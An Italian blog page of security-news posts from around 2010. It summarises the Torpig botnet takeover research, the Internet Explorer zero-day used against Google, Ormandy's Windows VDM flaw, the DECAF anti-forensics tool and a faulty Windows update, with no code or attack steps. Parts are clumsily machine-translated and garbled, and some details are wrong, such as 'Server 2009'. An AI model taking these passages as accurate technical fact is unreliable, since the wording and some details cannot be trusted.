Anche se ci sono tutte le intenzioni di liberalizzare gli accessi alle wi-fi in Italia non succederà mai. Questo lo dico in tempi non sospetti con un 99% di certezza. Se ci fossero reti wireless veramente libere tutti i gestori mobili non avrebbero più ragion d’esistere, basta avere uno smartphone con il supporto wi-fi, un laptop, un iphone, ipad, iqualcosaltro e si è tutti interconnessi, la telefonata come l’sms diventerebbero preistoria!!!

In Italia, mentre noi ci preoccupiamo di liberalizzare l’accesso alle wi-fi gli altri paesi sperimentano il Wi-Max da 330 MEGABIT e le connessioni LTE … io viaggio ancora con l’ISDN a 64kilobit, e non sono il solo…

Recentemente mi sto interessando di botnet, qualche giorno fa ho visto un interessante video-lezione-conferenza sul furto di botnet. Una botnet è una rete di computer collegati ad internet che fanno parte di un insieme di computer controllato da un’unica entità, il botmaster. Ciò può essere causato da falle nella sicurezza o mancanza di attenzione da parte dell’utente e dell’amministratore di sistema, per cui i computer vengono infettati da virus informatici o trojan i quali consentono ai loro creatori di controllare il sistema da remoto. I controllori della botnet possono in questo modo sfruttare i sistemi compromessi per scagliare attacchi distribuiti del tipo denial-of-service (DDoS) contro qualsiasi altro sistema in rete oppure compiere altre operazioni illecite, in taluni casi agendo persino su commissione di organizzazioni criminali. I computer che compongono la botnet sono chiamati bot (da roBOT) o zombie. Un gruppo di ricercatori presso UCSB di recente è riuscito a prendere il controllo su una parte di Torpig botnet per 10 giorni. Durante questo periodo, hanno osservato 180 mila infezioni e registrate quasi 70GB di dati raccolti che i bot. Questi dati includono le informazioni presentate da tutti i siti che la persona infetta aveva visitato, smtp, ftp, pop3, Windows, password, numeri di carta di credito e le password da parte dei manager password.

Qui ci sono i fatti più interessanti della conferenza:

Torpig utilizza una tecnica chiamata “flussante dominio” per evitare di essere arrestato, semplicemente bloccando l’IP o il nome del dominio del server del centro di controllo. L’idea è semplice – in funzione della data e ora l’algoritmo genera un nome di dominio a cui connettersi. Se il dominio viene chiuso, il bot userà semplicemente un dominio diverso, dopo qualche tempo. I ricercatori conoscendo la generazione dei nomi di domino sono stati in grado di assumere il controllo su una parte della botnet crackando l’algoritmo di generazione nome di dominio e la registrazione di alcuni dei nome di dominio da utilizzare per la comunicazione.

Successivamente, i cattivi notato che una parte della botnet è stata sottratta, rilasciano un aggiornamento software per tutti i bot che utilizzeranno un nuovo algoritmo di flusso di dominio, questi nuovi algoritmi usano gli argomenti popolari del giorno sul social network Twitter e li utilizzano per generare i nomi di dominio.Con questo nuovo algoritmo i ricercatori non erano più in grado di prevedere il dominio che sarebbe stato utilizzato il giorno successivo, bisognerebbe conoscere un giorno prima l’argomento più polare su un social network che riporta per l’80% notizie in tempo reale.

Quando i bot comunicano con il server di comando trasmettono un campo ID univoco che è stato generato dall’hardware della macchina. Questo ha permesso ai ricercatori di stimare il numero reale di computer infetti. I ricercatori hanno visto 1,2 milioni di indirizzi IP unici, ma soltanto 180.000 macchine. I bot analizzati rubavano i dati finanziari da 410 istituti finanziari (top 5: PayPal, Poste Italiane, Capital One, E * Trade, Chase), avrebbero un registro di carte di credito (prime 5 carte: Visa, Mastercard, American Express, Maestro, Discover ), e avrebbero anche rubato tutte le password dal gestore delle password dei browser.

In uno studio del 2008 Symantec ha stimato che le informazioni riguardanti le carte di credito sono vendute da 10 a 25 dollari per ogni carta nel mercato nero. Le informazioni dei conti bancari sono vendute da 10.00 a 1,000 dollari per ogni conto. L’utilizzo di questo studio ha permesso ai ricercatori di stimare, durante il periodo di 10 giorni, l’importo delle risorse finanziarie che i bots hanno raccolto sono state del valore di 83.000 a 8,3 milioni di dollari. Utilizzando varie stime dei ricercatori si è calcolato che i bot sono usati per il denial of service e la larghezza di banda totale sarebbe 17Gbps.

Dal momento che è stato Torpig a inviare tutti i dati HTTP POST e-mail al server di comando e controllo, i ricercatori hanno statistiche sulle e-mail e hanno scoperto che il 14% di tutte le email sono state lette sui posti di lavoro, il 10% ha parlava di sicurezza del computer / malware, 7% di denaro, 6% erano appassionati di sport, il 5% erano preoccupati per gli esami e la loro qualità, il 4% parlavano della ricerca di partner online. Il 28% delle persone riutilizzato la propria password su più domini. Ci sono state 173.686 password univoche.

I ricercatori hanno convertito le password in formato Unix e hanno cercato di forzarle con John the Ripper. 56.000 erano crackate in meno di 65 minuti con attacco di forza bruta, invece utilizzando un dizionario 14.000 password son bastati 10 minuti. E altri 30.000 sono state le password crackate nelle 24 ore successive. Il 58% di tutte le password sono state crackate in 24 ore.

Il video conferenza è lungo 1h 15m ed è presentato da Richard A. Kemmerer.

Rubare una botnet

Qui ci sono tutti gli argomenti della conferenza:

• [02:00] terminologia botnet – bot, botnet, server di comando e controllo, canale di controllo, botmaster.
• [03:00] Introduzione al trojan Torpig e la piattaforma Mebroot malware.
• [05:00] Come Torpig opere.
• [11:30] Torpig iniezione HTML.
• [15:00] fluxing dominio.
• [19:15] Capofila c Torpig’s & C server.
• [24:10] principi di raccolta dei dati.
• [26:00] C & C protocollo del server.
• [31:10] stima botnet di dimensioni.
• [37:00] minacce “botnet” è: il furto di informazioni finanziarie, denial of service, server proxy, furti privacy.
• [37:30] Minaccia: furto di informazioni finanziarie.
• [42:00] Threat: Denial of Service.
• [43:30] minacce: i server proxy.
• [44:20] Minaccia: furto Privacy.
• [47:00] Analisi Password.
• [50:40] punizione penale.
• [53:00] applicazione della legge.
• [58:00] Rimpatrio dei dati.
• [01:00:00] Etica.
• [01:02:00] Conclusioni.
• [01:06:00] Domande e risposte.

In Francia e Germania le autorità diffondono una nota: non usate Internet Explorer. Alla base della vicenda c’è una vulnerabilità relativa a Internet Explorer versione 6 su sistema operativo Windows XP. Lo stesso problema di sicurezza starebbe alla base del contenzioso tra Google governo cinese.

Il governo tedesco agli utenti: «Non usate Explorer»”,” Explorer, anche la Francia lancia l’allarme”. Sono questi i titoli di alcuni dei principali quotidiani online dedicati a una vicenda che merita un minimo approfondimento. Riportiamo il calendario a qualche giorno fa e per rinfrescare la memoria segnaliamo questo link dedicato alla vicenda in cui Google e Governo cinese si trovano a confrontarsi. Google ha  rilevato alcune violazioni dei propri sistemi informatici notando accessi indesiderati ad alcuni account di posta elettronica: tali caselle email sarebbero per di più riconducibili ad alcuni attivisti cinesi per i diritti umani.

Da Mountain View vengono chieste spiegazioni alle autorità cinesi con la minaccia da parte di Google di sospendere ogni attività in Cina: Google parrebbe disposta a rinunciare alle enormi opportunità di business legate ai forti tassi di crescita del mercato IT in Cina e all’elevato numero di utenti potenzialmente raggiungibile. Per il momento il governo cinese non ha dato importanti riscontri, e pure le autorità americane si sono fatte avanti per far chiarezza sull’accaduto: oltre a Google ci sarebbero altre 30 aziende fatte oggetto di attacchi informatici provenienti dalla Cina. La vicenda è ancora tutta da chiarire nei suoi dettagli e, forse, ai giornali giungerà solo una parte di tali informazioni.

Questi appena descritti sono in estrema sintesi i fatti di cronaca a cui però si deve aggiungere un dettaglio essenziale e importante per poter comprendere i titoli dei quotidiani citati in apertura. Stando a quanto identificato da molti esperti di sicurezza informatica, tra i quali i tecnici di McAfee, alla base degli attacchi subiti da Google e dai già citati account Gmail vi sarebbe una vulnerabilità di alcune versioni datate di Internet Explorer.

Sarebbe proprio la vulnerabilità di Internet Explorer ad aver scatenato un putiferio in Europa tanto da indurre il Bundesamt fuer Sicherheit in der Informationstechnik – l’Ufficio Federale responsabile per la sicurezza informatica – a diffondere un comunicato nel quale invita a non usare Internet Explorer senza se e senza ma. Anche disattivando ActiveX e impostando il più alto livello di sicurezza Internet Explorer nelle versioni 6, 7 e 8 viene definito insicuro da BSI e gli utenti sono invitati a utilizzare browser alternativi.

Alla presa di posizione delle autorità tedesche fa eco un’analoga dichiarazione del CERTA (Centre d’Expertise Gouvernemental de Réponse et de Traitement des Attaques informatique) francese. Il messaggio è in sostanza il medesimo: utilizzate un browser alternativo.

A tutte queste dichiarazioni si contrappongono altre prese di posizione non così convinte della pericolosità di Internet Explorer, o meglio non convinte che altre alternative possano offrire condizioni di utilizzo veramente sicure all’utente finale. Sophos prende chiaramente posizione a fianco di Microsoft e nel blog di Graham Cluley – senior technology consultant – si legge:

Ora, in un contraddittorio è lecito dare la parola all’accusa – e lo abbiamo fatto indicando gli annunci fatti dalle autorità francesi e tedesche – ma anche alla difesa, e lo facciamo segnalandovi questo breve video diffuso poche ore fa da Microsoft Italia.

Internet Explorer -

Il video per ovvie ragioni non scende troppo nel dettaglio ma da parte Microsoft vengono citate ulteriori fonti di approfondimento. Cerchiamo ora di capire meglio il problema relativo a Internet Explorer e alla vicenda nel suo complesso per poi valutare in maniera autonoma l’accaduto.

Dalle caratteristiche pubblicate per sfruttare la vulnerabilità di Internet Explorer 6 – Microsoft indica solo questa versione affetta dalla vulnerabilità in oggetto- gli utenti che hanno subito un attacco sono stati indotti a visitare una particolare pagina web appositamente creata. Nel caso specifico potrebbe essere stata usata una email, insomma Microsoft sottolinea la natura mirata degli attacchi ai singoli utenti e non all’infrastruttura di Google.

A ciò nella ricostruzione di Redmond viene fatto notare un dato di fatto non trascurabile: la vulnerabilità è sfruttabile su sistema operativo Microsoft Windows XP e con Internet Explorer versione 6. Microsoft sottolinea come entrambi i prodotti siano vetusti – vengono definiti paleolitici dal blog di Feliciano Intini – sottolineando come oggi sia disponibile Windows 7 e Internet Explorer 8. Per la versione del browser ci sentiamo di condividere la posizione di Microsoft mentre per quanto riguarda il sistema operativo è inutile sottolineare quanto Windows XP sia tutt’oggi diffuso, soprattutto in molte aziende. Per Microsoft pare non esserci alcun allarme straordinario, anzi i vari esponenti approfittano della situazione per sensibilizzare su un aspetto fondamentale per la sicurezza: l’aggiornamento del software e del sistema operativo.

Un dettaglio però non ci tornava e abbiamo voluto chiedere diretto riscontro a Feliciano Intini -chief security advisor di Microsoft Italia -. Nelle note delle autorità tedesche e francesi vengono indicati come potenzialmente vulnerabili anche Internet Explorer 7 e 8, mentre dalle informazioni diffuse da Microsoft il problema parrebbe limitato alla sola versione 6 in abbinamento a Windows XP. Inutile sottolineare che su molti altri articoli pubblicati non venga nemmeno indicata la versione di Internet Explorer. Questa omissione farebbe quindi supporre che tutti gli utenti abituati all’uso di tale software siano in pericolo.

Siamo quindi andati alla fonte rivolgendo il quesito all’esperto di Microsoft. La situazione più pericolosa si concretizza su PC dotati di sistemi operativi Microsoft Windows XP in abbinamento Internet Explorer versione 6. La stessa vulnerabilità è presente in Internet Explorer 7 e 8 ma con sistema operativo più recente preoccupa di meno se l’utente abilità la modalità IE Protected Mode e DEP. Al momento è nota l’esistenza di attacchi a sistemi dotati di Internet Explorer 6 e Windows XP e pare più complicato sfruttare le medesime vulnerabilità su sistemi più aggiornati. Detto ciò, e Microsoft stessa lo ammette, il problema va risolto e anche in fretta.

Nell’apertura di questo articolo abbiamo descritto una situazione molto seria e problematica, soprattutto in relazione alla diffusione di Internet Explorer e al potenziale bacino di utenti a rischio. Nell’analisi dei fatti il tutto risulta più limitato e circostanziato. Sia chiaro: la vulnerabilità in Internet Explorer 6 rimane e al momento è meno preoccupante nelle versioni 7 e 8, andrà risolta magari senza aspettare il prossimo patch day.

Stando alle attuali informazioni disponibili e in attesa di eventuali sviluppi,  la sitazione diviene pericolosa in un contesto nel quale l’utente o chi per esso non sia in grado di gestire correttamente il proprio sistema omettendo poche e semplici abitudini che ormai da anni descriviamo: software e sistema operativo aggiornato con le ultime patch in abbinamento a suite per la sicurezza completa (il solo antivirus potrebbe non bastare!), magari non sviluppata da Microsoft ma da terze parti in virtù di una maggiore possibilità di scelta.

In apertura abbiamo citato enti francesi e tedeschi e pare doveroso segnalare il punto di vista del CERT-SPC -unità di prevenzione e gestione degli incidenti informatici del Sistema Pubblico di Connettività – italiano che in una nota diffusa qui riporta:

In relazione alla vulnerabilità di tipo “zero-day” che interessa Internet Explorer già  osservata dal CERT-SPC dallo scorso 15 Gennaio ed illustrata nella sezione bollettini, si rappresenta che in ambito SPC al momento non sono stati segnalati incidenti riconducibili alla stessa. Si evidenzia però il rischio associato alla possibilità di sfruttare tale vulnerabilità in associazione ad iniziative di spam, ai risultati proposti  dai motori di ricerca ed ai collegamenti presenti sui social network, inerenti eventi di particolare ed attuale interesse collettivo, quali il recente sisma  che ha devastato HAITI o all’attenzione mediatica sull’uscita del film AVATAR. Tali circostanze possono essere utilizzate dagli attaccanti per indurre gli utenti a visitare pagine web appositamente realizzate per inoculare malware o la sfruttare anche questa vulnerabilità in Explorer.
…Microsoft, infine, in una nota preventivamente anticipata al CERT-SPC ha indicato anche l’ipotesi di un aggiornamento di sicurezza di tipo “OUT OF BAND” ovvero straordinario rispetto al normale ciclo di rilascio del software correttivo appena avvenuto per il mese di Gennaio.

Fonte

In tutte le versioni ancora supportate di Windows esiste una vulnerabilità che, secondo il suo scopritore, se ne sta lì nascosta da almeno 17 anni. Nel frattempo BigM si industria per sanare IE.

Mentre Microsoft è ancora impegnata nello sviluppo di una patch per Internet Explorer che risolva la falla recentemente utilizzata negli attacchi a Google, un esperto di sicurezza ha divulgato i dettagli di una vulnerabilità apparentemente celata in Windows dalla “notte dei tempi”, ovvero dall’anno 1993. Ad esserne interessate sarebbero tutte le versioni a 32 bit di Windows a partire da NT, inclusi XP, Server 2003, Vista, Server 2009 e 7.

Tavis Ormandy, scopritore della falla e information security engineer presso Google, spiega in questo advisory che il problema è legato alla Virtual DOS Machine, e può essere sfruttato per iniettare del codice direttamente nel kernel di Windows: questo potrebbe consentire a un aggressore o a un malware di prendere il controllo delle aree più “sensibili” e protette del sistema, e installare ad esempio key logger o rootkit.

The Register riporta che la società Immunity di Miami ha già aggiunto l’exploit della vulnerabilità al proprio software di auditing indirizzato ai professionisti della sicurezza. La società afferma che l’exploit è stato testato con successo su tutte le versioni di Windows ad eccezione della 3.1.

In attesa che Microsoft rilasci una patch, Ormandy afferma che è possibile proteggersi della debolezza disattivando i sottosistemi MSDOS e WOWEXEC di Windows: per farlo è necessario modificare alcune voci di registro così come spiegato in questo articolo del supporto tecnico di Microsoft. Va rimarcato che disattivando questi due componenti si perde la compatibilità con i vecchi programmi a 16 bit (quelli per DOS e Windows 3.1), ma per la stragrande maggioranza degli utenti questo non dovrebbe essere un problema.

Ormandy sostiene di aver segnalato il bug a Microsoft nel giugno del 2009, tenendone nel frattempo segreti i dettagli: non avendo ricevuto da BigM alcuna risposta, e avendo constatato che il baco è ancora aperto, negli scorsi giorni si è deciso a rendere il problema di pubblico dominio insieme a un exploit dimostrativo.

Contattata da The Register, Microsoft ha fatto sapere, per bocca di un suo portavoce, di stare vagliando l’advisory di Ormandy e di non essere a conoscenza di attacchi che sfruttino questa vulnerabilità.

Ieri il big di Redmond ha anche annunciato che la recente falla di Internet Explorer verrà corretta appena possibile, e al di fuori del suo ordinario ciclo di pubblicazione dei bollettini di sicurezza. Sui rischi e la portata di tale vulnerabilità Microsoft Italia ha recentemente minimizzato.

“Pur non essendo mutato in modo significativo lo scenario di rischio (nel senso che gli attacchi noti sono rimasti quelli mirati e circoscritti, ed efficaci solo su sistemi con IE6), il clamore mediatico e la confusione da parte dei clienti che ne è derivata (vedi dubbi tra versioni impattate dalla vulnerabilità – praticamente tutte – e quella seriamente impattate da eventuali attacchi intrusivi – solo IE6), anche relativamente alle contromisure temporanee di difesa (vedi abilitazione del DEP), hanno spinto verso la decisione di un rilascio in modalità Out-of-band (OOB)” ha scritto ieri Feliciano Intini, chief security advisor di Microsoft Italia, sul suo blog.

Fonte

Due hacker pubblicano un software ideato per contrastare le misure di indagine forense rese possibili dai tool automatizzati di Microsoft. COFEE è un software progettato dalla Microsoft che serve per indagini forensi, in parole povere tutte le polizie del mondo e le forze dell’ordine hanno in dotazione questo software che usano per le loro indagini, fin qua non c’è problema. Ma, non si capisce come, è finito sulle reti p2p; dopo questo evento spunta DECAF.

Microsoft ci aveva provato a chiudere il vaso di Pandora aperto con la distribuzione non autorizzata di COFEE sui network di P2P, temendo possibili contromosse da parte di hacker o cybercriminali. Ma la minaccia legale non è bastata a fermare il libero fluire in Rete del tool forense e alla fine quella contromossa si è concretizzata nella forma di DECAF: ovvero Detect and Eliminate Computer Assisted Forensics.

Nella stessa misura in cui COFEE serve agli investigatori per raccogliere prove e tracce su sistemi informatici connessi a indagini e crimini, così DECAF appronta una serie di contromisure tese a bloccare tutti i tentativi di intromissione, analisi e log possibili col tool gratuito di Redmond.

“Vogliamo promuovere un sano e illimitato flusso del traffico Internet e dimostrare perché le forze dell’ordine non dovrebbero affidarsi soltanto a Microsoft per automatizzare la ricerca intelligente di prove” ha detto uno degli autori di DECAF spiegando le motivazioni alla base del software da lui contribuito a creare.

Da Redmond avevano provato a far sparire le tracce di COFEE minacciando ritorsioni legali per quei siti che lo avessero continuato a offrire come download, e come dimostra l’esistenza di DECAF la possibilità di veder nascere una contromisura in quegli ambienti dove per Microsoft si annida l’illegalità, il software non certificato e ogni genere di pericoli per l’utente, era ben più che concreta.

Una volta installato in pianta stabile sul sistema, DECAF agisce monitorando il PC e verificando l’avvio dei processi, il collegamento di chiavette USB e l’esistenza di tracce riconducibili ai file di COFEE. Nel qual caso l’esito del monitoraggio dinamico fosse positivo, DECAF provvede automaticamente a cancellare i log creati dall’utility forense, camuffare gli indirizzi fisici MAC, “smontare” e disabilitare i drive USB e altro ancora. I suoi due autori promettono inoltre future versioni capaci di bloccare il sistema protetto agendo da remoto.

Appare ovviamente scontato il fatto che, anche qualora Microsoft provasse a buttare il giù il sito di DECAF, il tool continuerebbe a essere disponibile in rete, sul P2P e altrove, magari su Wikileaks dove già hanno provveduto a ospitare COFEE. Si attende ora la risposta che Redmond deciderà di fornire all’esistenza del “decaffeinato” del loro forensics tool.

Fonte

L’ultimo aggiornamento rilasciato da Microsoft per ovviare a problemi di sicurezza potrebbe causare all’utente finale problemi ben più seri, secondo quanto riportato da Pc World. In molti casi, infatti, l’installazione dell’aggiornamento causerebbe un diffuso problema di schermo nero che rende il PC inutilizzabile.

Secondo quanto affermato da Mel Morris, CEO e CTO di Prevx, una società inglese specializzata in sicurezza, il problema colpirebbe in modo uguale Windows 7, Vista e XP.

Prevx aveva già ricevuto alcuni campanelli di allarme nel corso della passata settimana, attraverso alcune segnalazioni pervenute dagli utenti. Microsoft, avrebbe infatti, con l’ultimo aggiornamento, apportato dei cambiamenti all’Access Control List (ACL), una lista di permessi per gli utenti loggati. L’ACL interagisce con le chiavi di registro, creando alcuni componenti visibili sul desktop, come la sidebar. L’aggiornamento, a quanto pare, modifica in modo errato queste chiavi di registro, causando il problema che dà come risultato il simpatico schermo nero.

Mel Morris è perentorio quando afferma: “if you’ve got this problem, it’s massively debilitating”, un problema c’è insomma e nemmeno di poco conto.

Prevx spiega nei dettagli sul proprio blog il problema che causerebbe l’ultimo aggiornamento di Microsoft che, lo ricordiamo, è stato distribuito dal 10 di Novembre per risolvere vulnerabilità in Windows, Windows Server, Excel e Word. Mel Morris offre inoltre, a questo indirizzo, una patch che potrebbe riuscire a risolvere il problema.

Fonte